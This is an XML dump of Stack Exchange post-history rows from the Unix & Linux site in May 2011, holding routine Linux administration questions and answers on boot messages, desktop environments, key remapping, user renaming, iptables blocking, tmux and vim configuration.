  <row Id="33089" PostHistoryTypeId="2" PostId="13360" RevisionGUID="3afc7f65-48f7-4a7d-a4be-3ef45f9fed7c" CreationDate="2011-05-17T20:41:45.670" UserId="6761" Text="tsv is right. There are, however, a number of other ways to disable clearing of boot messages &lt;a href=&quot;https://wiki.archlinux.org/index.php/Disable_clearing_of_boot_messages&quot;&gt;described on the Arch Wiki&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;I append this line to my &lt;code&gt;/etc/rc.local&lt;/code&gt;:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;read -t5 -n1&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;which pauses the output until a keypress. Then it is simply a matter of un/commenting the line as and when you need to diagnose boot issues.&#xD;&#xA;&#xD;&#xA;If you are looking to print this to a file, there was a recent discussion on the Arch boards about this, with the conclusion that &lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?pid=932609#p932609&quot;&gt;setterm was the best approach&lt;/a&gt;." />
  <row Id="33090" PostHistoryTypeId="5" PostId="852" RevisionGUID="55b8dbbc-4795-442c-8e59-a4e31e042242" CreationDate="2011-05-17T20:58:29.797" UserId="688" Comment="deleted 57 characters in body; edited tags; edited title" Text="On my system (Debian Lenny AMD64), `gnome-panel` seems to act up now and again. I've not found a way to force it to happen, but it seems to be related to launching processes. Basically, I launch some process, and I see 1 core max itself out, and the taskbar freezes. I `pkill gnome-panel`, the taskbar reappears, and everything is ok. If I don't notice it, eventually my entire computer freezes and I have to hard boot.&#xD;&#xA;&#xD;&#xA;How would I go about getting some kind of information on why this is happening that could help me or developers? Is there a debug build or something I could run?" />
  <row Id="33091" PostHistoryTypeId="4" PostId="852" RevisionGUID="55b8dbbc-4795-442c-8e59-a4e31e042242" CreationDate="2011-05-17T20:58:29.797" UserId="688" Comment="deleted 57 characters in body; edited tags; edited title" Text="How can I figure out why I frequently gnome-panel is misbehaving?" />
  <row Id="33092" PostHistoryTypeId="6" PostId="852" RevisionGUID="55b8dbbc-4795-442c-8e59-a4e31e042242" CreationDate="2011-05-17T20:58:29.797" UserId="688" Comment="deleted 57 characters in body; edited tags; edited title" Text="égnomeàédebuggingàégnomeöpanelà" />
  <row Id="33093" PostHistoryTypeId="5" PostId="447" RevisionGUID="93407e7c-f23b-4a1a-b7b4-260e8a9ce489" CreationDate="2011-05-17T21:00:54.897" UserId="688" Comment="deleted 17 characters in body; edited title" Text="My printscreen button doesn't work (it doesn't launch ksnapshot, but xev registers it's events just fine). Does anyone have any idea how to fix it? Old workarounds don't seem to be working.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;`~/.xsession-errors` has this in it... &#xD;&#xA;&#xD;&#xA;    kded(17569)/kdecore (KLibrary) kde4Factory: The library &quot;/usr/lib/kde4/kded_khotkeys.so&quot; does not offer a qt_plugin_instance function.&#xD;&#xA;    kded(17569)/kdecore (KLibrary) kde3Factory: The library &quot;/usr/lib/kde4/kded_khotkeys.so&quot; does not offer an &quot;init_kded_khotkeys&quot; function.&#xD;&#xA;    kded(17569) Kded::loadModule: Could not load library &quot;kded_khotkeys&quot; . [ &quot;Cannot load library /usr/lib/kde4/kded_khotkeys.so: (/usr/lib/libknewstuff3.so.4: undefined symbol: _ZNK6Attica8Provider17hasContentServiceEv)&quot; ] &#xD;&#xA;    systemsettings(18048)/khotkeys: Unable to start server org.kde.khotkeys (kded module) &#xD;&#xA;    kded(17569)/kdecore (KLibrary) kde4Factory: The library &quot;/usr/lib/kde4/kded_khotkeys.so&quot; does not offer a qt_plugin_instance function.&#xD;&#xA;    kded(17569)/kdecore (KLibrary) kde3Factory: The library &quot;/usr/lib/kde4/kded_khotkeys.so&quot; does not offer an &quot;init_kded_khotkeys&quot; function" />
  <row Id="33094" PostHistoryTypeId="4" PostId="447" RevisionGUID="93407e7c-f23b-4a1a-b7b4-260e8a9ce489" CreationDate="2011-05-17T21:00:54.897" UserId="688" Comment="deleted 17 characters in body; edited title" Text="Keyboard shortcuts not working in KDE 4.5.0" />
  <row Id="33095" PostHistoryTypeId="5" PostId="970" RevisionGUID="c81942ea-71af-4cc4-be32-84b39ea4a873" CreationDate="2011-05-17T21:03:57.000" UserId="688" Comment="deleted 22 characters in body; edited title" Text="I would like to associate the Start menu with the Windows key on the keyboard?&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/zSmqw.png" />
  <row Id="33096" PostHistoryTypeId="4" PostId="970" RevisionGUID="c81942ea-71af-4cc4-be32-84b39ea4a873" CreationDate="2011-05-17T21:03:57.000" UserId="688" Comment="deleted 22 characters in body; edited title" Text="How to associate the Fedora Start menu with the Windows keyboard?" />
  <row Id="33097" PostHistoryTypeId="25" PostId="13349" RevisionGUID="60c2fa75-64d4-4930-a5cc-0ea4fa058ef9" CreationDate="2011-05-17T21:12:16.783" Comment="http://twitter.com/#!/StackUnix/status/70597526104965120" />
  <row Id="33098" PostHistoryTypeId="2" PostId="13361" RevisionGUID="039f7e5b-8745-4319-a4ae-09350d5ff29c" CreationDate="2011-05-17T21:19:17.063" UserId="885" Text="While it's possible to rename a user, and [`usermod` will do some of the job](http://unix.stackexchange.com/questions/629/is-it-possible-to-rename-a-unix-user-account/632#632), this is quite likely to cause trouble. Here's a list of places where the user name may appear; I do not claim that this list is exhaustive.&#xD;&#xA;&#xD;&#xA;* The user entry in `/etc/passwd` and related files (e.g. `/etc/shadow`, `/etc/master.passwd`).&#xD;&#xA;* Group entries in `/etc/group` (and `/etc/gshadow`).&#xD;&#xA;* Possibly entries in `/etc/sudoers`.&#xD;&#xA;* The system mailbox, typically `/var/mail/$USER` or `/var/spool/mail/$USER`.&#xD;&#xA;* The crontab, typically `/var/spool/cron/crontabs/$USER&#xD;&#xA;* In `at` jobs (`/var/spool/cron/atjobs/*`)&#xD;&#xA;&#xD;&#xA;The home directory is likely to appear in even more places. Many applications write absolute paths in various dot files. If you decide to rename the home directory as well (while there's no requirement that user `alice`'s home directory be `/home/alice`, having it be `/home/bob` would be confusing), you'll need to take care of those. A global replacement will work for most applications, but I make no promises. If possible, keep the old home directory name as a symbolic link to the renamed directory.&#xD;&#xA;" />
  <row Id="33099" PostHistoryTypeId="5" PostId="9202" RevisionGUID="01736b8f-befe-4472-928f-5cc16594788e" CreationDate="2011-05-17T21:46:16.597" UserId="4778" Comment="added 1 characters in body" Text="Put `(server-start)` in your `.emacs` file.&#xD;&#xA;&#xD;&#xA;Add this to `~/.bashrc`&#xD;&#xA;&#xD;&#xA;    alias myedit='emacsclient --alternate-editor=&quot;&quot; --no-wait $*' #quotes intentionaly left blank&#xD;&#xA;&#xD;&#xA;then use `myedit` as your editor. You will have to use the `-c` option to bring up a window.&#xD;&#xA;&#xD;&#xA;So you may do this:&#xD;&#xA;&#xD;&#xA;    myedit -c a-file&#xD;&#xA;    run-script #that uses myedit&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    run-script #that uses myedit&#xD;&#xA;    myedit -c&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33100" PostHistoryTypeId="2" PostId="13362" RevisionGUID="a92f09de-7bf4-485b-b50c-4ab10d9daaae" CreationDate="2011-05-17T21:58:29.923" UserId="7559" Text="Are you wanting to view the entire desktop remotely? That would require something like VNC. &#xD;&#xA;&#xD;&#xA;If you are just wanting to view one application that has a GUI, you will need to install something like [xming][1] and enable X forwarding.&#xD;&#xA;&#xD;&#xA;Both of these, especially the VNC resuires a very large amount of bandwidth, and I wouldn't recommend it over the internet unless both machines have very fast connections.&#xD;&#xA;&#xD;&#xA;If you are just wanting to install these, you can use the package manager, but that only enables you to log in at that machine, not remotely.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.straightrunning.com/XmingNotes/" />
  <row Id="33101" PostHistoryTypeId="4" PostId="852" RevisionGUID="14bf8bed-96b2-42a8-bb9f-f42fa11740d0" CreationDate="2011-05-17T22:06:12.780" UserId="688" Comment="edited title" Text="How can I figure out why gnome-panel is frequently misbehaving?" />
  <row Id="33102" PostHistoryTypeId="2" PostId="13363" RevisionGUID="dd989b3b-c9c5-48d1-b6eb-bfbcc0bf52f6" CreationDate="2011-05-17T22:06:46.880" UserId="7226" Text="I had the same problem with my wireless keyboard (and running Puppy too!) you have to **enable** in your BIOS `USB DEvice Legacy Support`" />
  <row Id="33103" PostHistoryTypeId="5" PostId="13363" RevisionGUID="0e6c9bb8-6c19-4fde-aad9-370f33423d9a" CreationDate="2011-05-17T22:12:06.363" UserId="7226" Comment="added 57 characters in body" Text="I had the same problem with my wireless keyboard (and running Puppy too, even if it's not related...) you have to **enable** in your BIOS `USB Device Legacy Support`.&#xD;&#xA;&#xD;&#xA;Find it in some submenu." />
  <row Id="33104" PostHistoryTypeId="5" PostId="13355" RevisionGUID="2f281d99-3e09-48d5-ba9d-c134ac70930c" CreationDate="2011-05-17T22:13:21.353" UserId="688" Comment="rm apology; formatting" Text="1. I installed PuTTY on my Windows machine &#xD;&#xA;2. I've been able to do remote login to my Linux machine (it is not local) via PuTTY command prompt&#xD;&#xA;&#xD;&#xA;With that in mind, how do I install a GUI like GNOME and then log into it remotely?" />
  <row Id="33108" PostHistoryTypeId="2" PostId="13365" RevisionGUID="b3436f0f-dfc3-471f-91e3-e1fb956a8aca" CreationDate="2011-05-18T00:05:16.017" UserId="1925" Text="The enclosure will likely work except for the fact that you mention wanting to replace the root file system. That part isn't going to work so well. Even if you could work out the driver modules in the kernel and root-device rotation during boot, you wouldn't want your root file system on a network device.&#xD;&#xA;&#xD;&#xA;I suggest you probably want to look into some other embedded linux board with either a compact flash or real IDE header if you want something to run apache on and need disk space. There are plenty of players in this field." />
  <row Id="33109" PostHistoryTypeId="25" PostId="13345" RevisionGUID="8c96f88b-c5e0-4a5d-9d61-2e188fa8d2fd" CreationDate="2011-05-18T00:12:16.853" Comment="http://twitter.com/#!/StackUnix/status/70642825448013825" />
  <row Id="33111" PostHistoryTypeId="2" PostId="13366" RevisionGUID="44ebdf92-6db4-4ba9-aef3-beab7e77818c" CreationDate="2011-05-18T00:21:08.003" UserId="6661" Text="At Fedora, you can run this to install Gnome DE:  &#xD;&#xA;  &#xD;&#xA;    yum groupinstalll &quot;GNOME Desktop Environment&quot;  &#xD;&#xA;  &#xD;&#xA;If you were running Ubuntu, then you could install gnome desktop with this:  &#xD;&#xA;  &#xD;&#xA;    sudo apt-get install ubuntu-desktop  &#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;Then you can use `vinagre` and `vino-preferences` to configure the remote access.  " />
  <row Id="33112" PostHistoryTypeId="25" PostId="13343" RevisionGUID="9fd6fa59-d78f-4f69-918f-d8476e682de9" CreationDate="2011-05-18T03:12:18.477" Comment="http://twitter.com/#!/StackUnix/status/70688126787526656" />
  <row Id="33113" PostHistoryTypeId="5" PostId="13305" RevisionGUID="592f779c-6eaf-4ab4-a823-3b9913975ccc" CreationDate="2011-05-18T03:48:40.830" UserId="6803" Comment="Corrected grammar." Text="There are hundreds of `.html` files in a directory. I need to delete files that don't contain word `bluecar` in their contents.&#xD;&#xA;&#xD;&#xA;I thought _sed_ with _rm_ would do that, but I don't know how to combine them." />
  <row Id="33114" PostHistoryTypeId="4" PostId="13305" RevisionGUID="592f779c-6eaf-4ab4-a823-3b9913975ccc" CreationDate="2011-05-18T03:48:40.830" UserId="6803" Comment="Corrected grammar." Text="Delete files if contents do not match pattern" />
  <row Id="33115" PostHistoryTypeId="24" PostId="13305" RevisionGUID="592f779c-6eaf-4ab4-a823-3b9913975ccc" CreationDate="2011-05-18T03:48:40.830" Comment="Proposed by 6803 approved by 73 edit id of 380" />
  <row Id="33116" PostHistoryTypeId="2" PostId="13367" RevisionGUID="66ee0494-551a-466f-a015-bbd9da69d0ea" CreationDate="2011-05-18T03:54:10.663" UserId="7562" Text="Ubuntu wiki states that its packages are compiled with secure flags and secure kernel options.  I cannot find this information about debian.  See https://wiki.ubuntu.com/CompilerFlags" />
  <row Id="33117" PostHistoryTypeId="1" PostId="13367" RevisionGUID="66ee0494-551a-466f-a015-bbd9da69d0ea" CreationDate="2011-05-18T03:54:10.663" UserId="7562" Text="What flags are used to compile debian stable packages?" />
  <row Id="33118" PostHistoryTypeId="3" PostId="13367" RevisionGUID="66ee0494-551a-466f-a015-bbd9da69d0ea" CreationDate="2011-05-18T03:54:10.663" UserId="7562" Text="ésecurityàécompilingàécompilerà" />
  <row Id="33119" PostHistoryTypeId="2" PostId="13368" RevisionGUID="4f8e7c6e-c59c-448a-8d79-d791a173ab76" CreationDate="2011-05-18T04:22:46.463" UserId="7374" Text="As far as I know there is no smitty &quot;simulator&quot; available. If you are an IBM partner, then Virtual Loaner Program (http://www-304.ibm.com/partnerworld/wps/pub/systems/vlp/index?gcLang=en) may be something for you. &#xD;&#xA;&#xD;&#xA;smitty uses the same commands, that you can access from the command line. For many tasks (excluding HACMP) it is often easier to use CLI, without invoking smitty. &#xD;&#xA;&#xD;&#xA;When you use smitty and try to take a peek at the command being called for a given task (F6), what you see is a short and ugly shell script in ksh. For non-trivial tasks rather than analyse the script I usually find it easier to just read which command is being called (e.g. mklv or ioo, or nim) and then go through appropriate man page. &#xD;&#xA;&#xD;&#xA;Apart of resources given by Caleb there is Infocenter (http://publib.boulder.ibm.com/infocenter/aix/v6r1/index.jsp) which is a comprehensive AIX information source. You'll find both command references and AIX redbooks there." />
  <row Id="33120" PostHistoryTypeId="2" PostId="13369" RevisionGUID="d8b65b5e-ce1f-4f0e-a12b-4d23c56bb220" CreationDate="2011-05-18T04:24:25.460" UserId="839" Text="This keyboard has only one super key, so I want to remap the menu key to make up for that." />
  <row Id="33121" PostHistoryTypeId="1" PostId="13369" RevisionGUID="d8b65b5e-ce1f-4f0e-a12b-4d23c56bb220" CreationDate="2011-05-18T04:24:25.460" UserId="839" Text="How to remap the Context Menu key to the Super key" />
  <row Id="33122" PostHistoryTypeId="3" PostId="13369" RevisionGUID="d8b65b5e-ce1f-4f0e-a12b-4d23c56bb220" CreationDate="2011-05-18T04:24:25.460" UserId="839" Text="éxorgàékeyboardà" />
  <row Id="33123" PostHistoryTypeId="2" PostId="13370" RevisionGUID="6de188b3-4ff0-4e91-9166-91a0025cc0d3" CreationDate="2011-05-18T04:58:32.857" UserId="5884" Text="I don't know what system you use, but if it is quite modern (like openSUSE 11.4), login as root, go to &#xD;&#xA;&#xD;&#xA;    /usr/share/X11/xkb/keycodes&#xD;&#xA;&#xD;&#xA;Copy (make a backup) evdev file. Edit it. Find the line with Meny Key and change its alias to super key (left or right), if you don't know the name of the alias -- find the already existing alias. AFAIR it is something like SUPRL SUPRR.&#xD;&#xA;&#xD;&#xA;Logout, login (X11 has to be restarted), enjoy your new keyboard." />
  <row Id="33124" PostHistoryTypeId="25" PostId="13367" RevisionGUID="4014a840-932d-4ed2-8277-98302621b0cd" CreationDate="2011-05-18T06:12:19.810" Comment="http://twitter.com/#!/StackUnix/status/70733434955374592" />
  <row Id="33125" PostHistoryTypeId="5" PostId="13368" RevisionGUID="cdeffb7d-021b-47af-a862-07cd82bcd5fc" CreationDate="2011-05-18T06:34:34.550" UserId="688" Comment="added 14 characters in body" Text="As far as I know there is no smitty &quot;simulator&quot; available. If you are an IBM partner, [Virtual Loaner Program][1] may be something for you.  &#xD;&#xA;&#xD;&#xA;Smitty uses the same commands, that you can access from the command line. For many tasks (excluding HACMP) it is often easier to use CLI, without invoking smitty.  &#xD;&#xA;&#xD;&#xA;When you use smitty and try to take a peek at the command being called for a given task (F6), what you see is a short and ugly shell script in ksh. For non-trivial tasks rather than analyse the script I usually find it easier to just read which command is being called (e.g., mklv or ioo, or nim) and then go through appropriate man page.  &#xD;&#xA;&#xD;&#xA;Apart of resources given by Caleb there is Infocenter (http://publib.boulder.ibm.com/infocenter/aix/v6r1/index.jsp) which is a comprehensive AIX information source. You'll find both command references and AIX redbooks there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www-304.ibm.com/partnerworld/wps/pub/systems/vlp/index?gcLang=en" />
  <row Id="33126" PostHistoryTypeId="2" PostId="13371" RevisionGUID="9caa3f57-3edb-4f58-8ee1-f940ce0382c6" CreationDate="2011-05-18T06:45:24.133" UserId="4671" Text="I don't think Debian has anything exactly comparable to this. Here is [Chapter 10 of Debian Policy: Files](http://www.debian.org/doc/debian-policy/ch-files.html), which has some information about compile time flags. Note the sentence&#xD;&#xA;&#xD;&#xA;&gt; It is up to the package maintainer to&#xD;&#xA;&gt; decide what compilation options are&#xD;&#xA;&gt; best for the package.&#xD;&#xA;&#xD;&#xA;In short, Debian doesn't tell its developers what flags to use." />
  <row Id="33127" PostHistoryTypeId="5" PostId="5610" RevisionGUID="00aaa68a-aa35-4202-8933-00fc68e60838" CreationDate="2011-05-18T07:25:49.593" UserId="2729" Comment="correct flag" Text="bash does cache the full path to a command.&#xD;&#xA;&#xD;&#xA;To clear the entire cache:&#xD;&#xA;&#xD;&#xA;    hash -r&#xD;&#xA;&#xD;&#xA;Or just one entry:&#xD;&#xA;&#xD;&#xA;    hash -d svnsync&#xD;&#xA;&#xD;&#xA;More info in `help hash` and `man bash`  ." />
  <row Id="33128" PostHistoryTypeId="5" PostId="1131" RevisionGUID="a1114c5e-5eaa-4fd0-a3e9-20d199072320" CreationDate="2011-05-18T08:23:40.870" UserId="688" Comment="edited body" Text="There was such tool but I cannot remember its name. I needed to configure precedence of addresses by `/etc/gai.conf`. I finally managed to find an error, but for future, what's the name of tool which displays the addresses of hostname as `getaddrinfo(3)` displays it?" />
  <row Id="33129" PostHistoryTypeId="5" PostId="1078" RevisionGUID="6bbc2353-004e-4a72-9e22-e822581e3860" CreationDate="2011-05-18T08:25:14.643" UserId="688" Comment="deleted 18 characters in body; edited title" Text="I was looking at `dm-crypt` and have seen that you can use whatever filesystem you like on top of the encrypted drive. So I was wondering if a journaled filesystem is a good idea as opposed to a non-journaled one. Also, what filesystem would be best to deal with power failures with an encrypted drive?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33130" PostHistoryTypeId="4" PostId="1078" RevisionGUID="6bbc2353-004e-4a72-9e22-e822581e3860" CreationDate="2011-05-18T08:25:14.643" UserId="688" Comment="deleted 18 characters in body; edited title" Text="Is a journaling filesystem a good idea with a dm-crypt encrypted drive?" />
  <row Id="33131" PostHistoryTypeId="5" PostId="1127" RevisionGUID="aa521356-558e-46eb-8862-41186588d209" CreationDate="2011-05-18T08:27:29.400" UserId="688" Comment="added 20 characters in body; edited title; added 1 characters in body" Text="On my default 10.04 Ubuntu install I am consistently tripped up by the fact that some UI text areas/input boxes treat &lt;Kbd&gt;Ctrl&lt;/Kbd&gt;&lt;Kbd&gt;A&lt;/Kbd&gt; as &quot;select all&quot; vs. &quot;move my cursor to the beginning of the line.&quot; Is there some sort of global conf file that exists for these sorts of things?&#xD;&#xA;&#xD;&#xA;I would really like to unify all text input areas to use bash conventions." />
  <row Id="33132" PostHistoryTypeId="4" PostId="1127" RevisionGUID="aa521356-558e-46eb-8862-41186588d209" CreationDate="2011-05-18T08:27:29.400" UserId="688" Comment="added 20 characters in body; edited title; added 1 characters in body" Text="How can I make Ubuntu UI uniformly use bash keyboard shortcuts?" />
  <row Id="33133" PostHistoryTypeId="5" PostId="1045" RevisionGUID="f51bd79c-64ad-4110-9105-00badd51be23" CreationDate="2011-05-18T08:30:52.517" UserId="688" Comment="added 8 characters in body; edited tags; edited title" Text="I have 256 colors working just fine in `konsole,`. I thought I'd give `tmux` a try because, unlike screen, it seems to support `vi` mode.  However I find that the colors of my prompt show up and this is most likely because I have a 256 color mode prompt. What do I need to do to get `tmux` to recognize all 256 colors?" />
  <row Id="33134" PostHistoryTypeId="4" PostId="1045" RevisionGUID="f51bd79c-64ad-4110-9105-00badd51be23" CreationDate="2011-05-18T08:30:52.517" UserId="688" Comment="added 8 characters in body; edited tags; edited title" Text="Getting 256 colors to work in tmux" />
  <row Id="33135" PostHistoryTypeId="6" PostId="1045" RevisionGUID="f51bd79c-64ad-4110-9105-00badd51be23" CreationDate="2011-05-18T08:30:52.517" UserId="688" Comment="added 8 characters in body; edited tags; edited title" Text="écolorsàétmuxàésettingsàékonsoleà" />
  <row Id="33136" PostHistoryTypeId="5" PostId="1054" RevisionGUID="80cf9b89-4eb7-4086-9fcb-557ff842edf2" CreationDate="2011-05-18T08:32:30.440" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="Suppose you are on linux internet gateway/router. What would you do to block a client with specific IP using bash script. I prefer something like `./block_client.sh 192.168.1.123` to block and `./unblock_client.sh 192.168.1.123`" />
  <row Id="33137" PostHistoryTypeId="4" PostId="1054" RevisionGUID="80cf9b89-4eb7-4086-9fcb-557ff842edf2" CreationDate="2011-05-18T08:32:30.440" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="Block specific IP from accessing gateway" />
  <row Id="33138" PostHistoryTypeId="6" PostId="1054" RevisionGUID="80cf9b89-4eb7-4086-9fcb-557ff842edf2" CreationDate="2011-05-18T08:32:30.440" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="ébashàéshellàéscriptingàéiptablesàéroutingà" />
  <row Id="33139" PostHistoryTypeId="5" PostId="1061" RevisionGUID="2f277809-68a6-4bbb-9ac6-e678de53c67a" CreationDate="2011-05-18T08:33:35.713" UserId="688" Comment="deleted 46 characters in body" Text="    $ cat block_client.sh&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    iptables -I INPUT -s 192.168.1.123 -j DROP&#xD;&#xA;    $ cat unblock_client.sh&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    iptables -D INPUT -s 192.168.1.123 -j DROP&#xD;&#xA;" />
  <row Id="33140" PostHistoryTypeId="5" PostId="1042" RevisionGUID="6a427867-db36-42e5-9e4d-8485319d102d" CreationDate="2011-05-18T08:36:20.953" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="This is my current prompt definition&#xD;&#xA;&#xD;&#xA;    PS1=$'%F{063}%1~%f %(1v.%F{099}%1v %f.)%F{063}%%%f '&#xD;&#xA;    RPROMPT='$VIMODE %m'&#xD;&#xA;&#xD;&#xA;And I'm working on integrating [this][1]. Basically I'm starting to find it very unreadable.&#xD;&#xA;&#xD;&#xA;Is there any way that I can make it multiline in a way perhaps similar to what Perl can do with regex's (e.g., what /x mode does. Like `m{ ... }x`. the `...` can be multiline in that)? &#xD;&#xA;&#xD;&#xA;Something like this&#xD;&#xA;&#xD;&#xA;    PS1=$'&#xD;&#xA;       %F{063}%1 # format blue&#xD;&#xA;          ~      # show current directory&#xD;&#xA;       %f&#xD;&#xA;       %(1v.%F{099}%1v %f.) # show git branch if git repo in purple&#xD;&#xA;       %F{063}   # format blue&#xD;&#xA;          %#     # % for user and # for root&#xD;&#xA;       %f '&#xD;&#xA;    RPROMPT='$VIMODE %m'&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1022/is-it-possible-to-display-stuff-below-the-prompt-at-a-prompt" />
  <row Id="33141" PostHistoryTypeId="4" PostId="1042" RevisionGUID="6a427867-db36-42e5-9e4d-8485319d102d" CreationDate="2011-05-18T08:36:20.953" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="Is there a way to make the prompt definition multiline?" />
  <row Id="33142" PostHistoryTypeId="6" PostId="1042" RevisionGUID="6a427867-db36-42e5-9e4d-8485319d102d" CreationDate="2011-05-18T08:36:20.953" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="éshellàécommandölineàézshàépromptà" />
  <row Id="33143" PostHistoryTypeId="5" PostId="952" RevisionGUID="f6317365-0140-450d-b590-23206a8298cc" CreationDate="2011-05-18T08:38:42.667" UserId="688" Comment="added 1 characters in body" Text="Use `apropos` &#xD;&#xA;&#xD;&#xA;    apropos - search the manual page names and descriptions&#xD;&#xA;&#xD;&#xA;Try `apropos 'set user id' ` for an example." />
  <row Id="33144" PostHistoryTypeId="5" PostId="781" RevisionGUID="cacc6376-ea07-4c68-9959-36c47baff54f" CreationDate="2011-05-18T08:40:45.083" UserId="688" Comment="deleted 29 characters in body" Text="What are the cons, for having a restrictive umask of 077? A lot of distros (I believe all, except Red Hat? ) have a default umask of 022, configured in /etc/profile. This seems way too insecure for a non-desktop system, which multiple users are accessing, and security is of concern.  &#xD;&#xA;&#xD;&#xA;On a related note, on Ubuntu, the users' home directories are also created with 755 permissions, and the installer states that this is for making it easier for users to share files. Assuming that users' are comfortable setting permissions by hand to make files shared, this is not a problem.&#xD;&#xA;&#xD;&#xA;What other downsides are there? " />
  <row Id="33145" PostHistoryTypeId="5" PostId="990" RevisionGUID="792a6f4a-b65c-467b-93b0-bb2332cf491c" CreationDate="2011-05-18T08:45:41.490" UserId="688" Comment="deleted 4 characters in body" Text="I have a website idea I want to build and launch, and I'm thinking of getting a small VPS to host it (I like Linode for their price, and they seem to be widely recommended). The problem is that I'm really very new to Linux in general, and I'm pretty broke so I can't afford a managed server.&#xD;&#xA;&#xD;&#xA;I downloaded Ubuntu Lucid Server and have it running in a VirtualBox, to help me learn and to act as a close approximation to the eventual production server. I'm committed to learning, but I'm pretty afraid I'm going to miss something dumb and get compromised. As such, I'd like to know of any good guides/books explaining the main points of securing a LAMP server.&#xD;&#xA;&#xD;&#xA;I've worked through the basic stuff in Linode and Slicehost's respective tutorials, but I want to be as prepared as possible. The site isn't written yet, and I'm likely to deploy to a shared host first as a trial run, so I do have time to learn at least the basics.  &#xD;&#xA;&#xD;&#xA;I know to keep everything up to date, configure iptables to only allow the holes I need (which appears to just TCP ports 22, for ssh/scp/sftp - I'll change it from the default port for the (very minor) security through obscurity bonus - and 80 for http) - though I am confused by some tutorials which say to block ICMP since I don't why I wouldn't want to respond to ping - and to only install software I need/remove software I don't need.&#xD;&#xA;&#xD;&#xA;Any advice beyond this, and especially any recommendations for guides, are well appreciated.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33146" PostHistoryTypeId="2" PostId="13372" RevisionGUID="eb394f65-b702-44d8-b167-cd215ad8723d" CreationDate="2011-05-18T08:57:06.177" UserId="6914" Text="I've just recently set up a FreeBSD 8.2 server after mostly working with Linux, and I had the exact same frustration with VI. The problem is that FreeBSD comes with very different defaults for VI than most Linux distros. &#xD;&#xA;&#xD;&#xA;Thanks to stumbling onto this page: http://jmcpherson.org/vimrc.html, here's how I set up my .vimrc file to get VI working the way I'm used to:&#xD;&#xA;&#xD;&#xA;    set nocompatible&#xD;&#xA;    set autoindent&#xD;&#xA;    set smartindent&#xD;&#xA;    set tabstop=4&#xD;&#xA;    set shiftwidth=4&#xD;&#xA;    set showmatch&#xD;&#xA;    set guioptions-=T&#xD;&#xA;    set vb t_vb=&#xD;&#xA;    set ruler&#xD;&#xA;    set nohls&#xD;&#xA;    set incsearch&#xD;&#xA;    set virtualedit=all&#xD;&#xA;    set bs=2&#xD;&#xA;&#xD;&#xA;I used the nano text editor to make the file because VI was giving me so much trouble.&#xD;&#xA;&#xD;&#xA;For anyone new to VI, just create a text file in your home directory called .vimrc and paste the contents of the code box above and save. Or you can try any of those options right in VI by typing a `:` then the option, i.e. `:set ruler` and hitting enter." />
  <row Id="33147" PostHistoryTypeId="5" PostId="1114" RevisionGUID="fbae2285-b989-49e1-89b7-b2241735e0e3" CreationDate="2011-05-18T08:59:36.313" UserId="688" Comment="edited body; edited tags" Text="Is there any SDK for developers under Linux? I mean more than man pages, it would be more like MSDN Library or Windows SDK under windows, where all documentation about programming and developer guide is documented and structured in one place." />
  <row Id="33148" PostHistoryTypeId="6" PostId="1114" RevisionGUID="fbae2285-b989-49e1-89b7-b2241735e0e3" CreationDate="2011-05-18T08:59:36.313" UserId="688" Comment="edited body; edited tags" Text="émanàédevelopmentàédocumentationàésystemöprogrammingà" />
  <row Id="33149" PostHistoryTypeId="25" PostId="13369" RevisionGUID="b64adbce-b38f-49b7-89e8-47549f2bed82" CreationDate="2011-05-18T09:12:20.710" Comment="http://twitter.com/#!/StackUnix/status/70778737075032064" />
  <row Id="33150" PostHistoryTypeId="2" PostId="13373" RevisionGUID="08a86390-9e8a-4789-9e68-1213dc0ccaea" CreationDate="2011-05-18T09:23:41.927" UserId="7374" Text="You can find some information on AIX memory segments here: http://www-01.ibm.com/support/docview.wss?uid=swg1IY99425. &#xD;&#xA;&#xD;&#xA;As for the use of memory by different subsystems I can recommend this article: https://www.ibm.com/developerworks/wikis/display/WikiPtype/AIXmemuse" />
  <row Id="33151" PostHistoryTypeId="5" PostId="13368" RevisionGUID="7e8ae5ed-fefd-49d7-b39d-b99db88d50e6" CreationDate="2011-05-18T09:25:11.517" UserId="1925" Comment="Added links and formatting" Text="As far as I know there is no smitty &quot;simulator&quot; available. If you are an IBM partner, the [Virtual Loaner Program][1] may be something for you.&#xD;&#xA;&#xD;&#xA;Smitty uses the same commands, that you can access from the command line. For many tasks (excluding HACMP) it is often easier to use CLI, without invoking smitty.&#xD;&#xA;&#xD;&#xA;When you use smitty and try to take a peek at the command being called for a given task (F6), what you see is a short and ugly shell script in ksh. For non-trivial tasks rather than analyse the script I usually find it easier to just read which command is being called (e.g., `mklv` or `ioo`, or `nim`) and then go through appropriate man page.&#xD;&#xA;&#xD;&#xA;Apart of [resources given by Caleb][2] there is [Infocenter][3] which is a comprehensive AIX information source. You'll find both command references and AIX redbooks there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www-304.ibm.com/partnerworld/wps/pub/systems/vlp/index?gcLang=en&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/12947/smitty-like-demo-sites/13327#13327&#xD;&#xA;  [3]: http://publib.boulder.ibm.com/infocenter/aix/v6r1/index.jsp" />
